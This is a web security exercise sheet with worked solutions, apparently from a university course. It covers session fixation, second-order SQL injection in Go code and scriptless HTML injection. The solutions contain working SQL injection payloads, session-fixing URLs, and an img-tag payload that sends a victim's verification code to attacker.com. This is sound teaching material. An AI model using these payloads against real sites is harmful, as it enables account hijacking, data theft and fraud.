Web Security I

Question 1  Session Fixation

A session cookie is used by most websites in order to manage user logins. When the user logs in, the server sends a randomly-generated session cookie to the user’s browser. The server also stores the cookie value in a database along with the corresponding username. The user’s browser sends the session cookie to the server whenever the user loads any page on the site. The server then looks the session cookie up in the database and retrieves the corresponding username. Using this, the server can know which user is logged in.

Some web application frameworks allow cookies to be set by the URL. For example, visiting the URL

\[ \text{http://foobar.edu/page.html?sessionid=42} \]

will result in the server setting the sessionid cookie to the value “42”.

(a) Can you spot an attack on this scheme?

(b) Suppose the problem you spotted has been fixed as follows: foobar.edu now establishes new sessions with session IDs based on a hash of the tuple \((\text{username, time of connection})\). Is this secure? If not, what would be a better approach?

Solution:

(a) The main attack is known as session fixation. Say the attacker establishes a session with foobar.edu, receives a session ID of 42, and then tricks the victim into visiting \[ \text{http://foobar.edu/browse.html?sessionid=42} \] (maybe through an img tag). The victim is now browsing foobar.edu with the attacker’s account. Depending on the application, this could have serious implications. For example, the attacker could trick the victim to pay his bills instead of the victim’s (as intended).

Another possibility is for the attacker to fix the session ID and then send the user a link to the log-in page. Depending on how the application is coded, it might so happen that the application allows the user to log-in but reuses the previous (attacker-set) session ID. For example, if the victim types in his username and password at \[ \text{http://foobar.edu/login.html?sessionid=42} \], then the session ID 42 would be bound to his identity. In such a scenario, the attacker could impersonate the victim on the site. This is uncommon nowadays, as most login pages reset the session ID to a new random value instead of reusing an old one.
(b) The proposed fix is not secure since it solves the wrong problem - it doesn’t fix either issue. In fact, it makes things weaker by significantly reducing the entropy of the session cookie.

The correct fix is for the server to generate cookie values afresh, rather than setting them based on the session ID provided via URL parameters. Also, the server shouldn’t allow cookies to be set by the URL. This makes the attackers job more difficult as they have to do some form of XSS in order to manipulate the client’s cookie vs. just clicking on a link.
**Question 2**  
Second-order linear... err I mean SQL injection

Alice likes to use a startup, NotAmazon, to do her online shopping. Whenever she adds an item to her cart, a POST request containing the field item is made. On receiving such a request, NotAmazon executes the following statement:

```go
cart_add := fmt.Sprintf("INSERT INTO cart (session, item) " + "VALUES ('%s', '%s')", sessionToken, item)
db.Exec(cart_add)
```

Each item in the cart is stored as a separate row in the cart table.

(a) Alice is in desperate need of some toilet paper, but the website blocks her from adding more than 72 rolls to her cart 😞 Describe a POST request she can make to cause the cart_add statement to add 100 rolls of toilet paper to her cart.

**Solution:** Note that Alice can see her own cookies so knows what sessionToken is. She can perform some basic SQL injection by sending a POST request with the item field set to:

```sql
toilet paper'), ($sessionToken, 'toilet paper'), ... ; --
```

Where $sessionToken is the string value of her sessionToken and ($sessionToken, 'toilet paper') repeats 99 times. A similar attack could also be done by modifying the sessionToken itself.

When a user visits their cart, NotAmazon populates the webpage with links to the items. If a user only has one item in their cart, NotAmazon optimizes the query (avoiding joins) by doing the following:

```go
cart_query := fmt.Sprintf("SELECT item FROM cart " + "WHERE session='%s' LIMIT 1", sessionToken) item := db.Query(cart_query) link_query = fmt.Sprintf("SELECT link FROM items WHERE item='%s'", item) db.Query(link_query)
```

After part (a), Alice recognizes a great business opportunity and begins reselling all of NotAmazon's toilet paper at inflated prices. In a panic, NotAmazon fixes the vulnerability by parameterizing the cart_add statement.

(b) Alice claims that parameterizing the cart_add statement won’t stop her toilet paper trafficking empire. Describe how she can still add 100 rolls of toilet paper to her cart. Assume that NotAmazon checks that sessionToken is valid before executing any queries involving it.

**Solution:** Alice can send a malicious POST request like part (a). Even though her input won’t change the SQL statement from (a), it will still store her string...
in the database. Now, if she visits her cart we’ll execute the optimized query. Note that `link_query` doesn’t have any injection protections, so her input will maliciously change the SQL statement. The `item` field in her POST request should be something like:

```sql
toilet paper'; INSERT INTO cart (session, item) VALUES
($sessionToken, 'toilet paper'), ... ; --
```

Moral of the story: Securing external facing APIs/queries is not enough.
Question 3  *Cross-site not scripting*

Consider a simple web messaging service. You receive messages from other users. The page shows all messages sent to you. Its HTML looks like this:

Mallory: Do you have time for a conference call?
Steam: Your account verification code is 86423
Mallory: Where are you? This is `<b>important!!!</b>`
Steam: Thank you for your purchase

![Image](https://store.steampowered.com/assets/thankyou.png)

The user is off buying video games from Steam, while Mallory is trying to get ahold of them.

Users can include *arbitrary HTML code* messages and it will be concatenated into the page, *unsanitized*. Sounds crazy, doesn’t it? However, they have a magical technique that prevents *any* JavaScript code from running. Period.

Discuss what an attacker could do to snoop on another user’s messages. What specially crafted messages could Mallory have sent to steal this user’s account verification code?

**Solution:**

Mallory: Hi `<img src="https://attacker.com/save?message=Steam: Your account verification code is 86423
Mallory: "> Enjoying your weekend?

This makes a request to `attacker.com`, sending the account verification code as part of the URL.

Take injection attacks seriously, even if modern defenses like Content Security Policy effectively prevent XSS.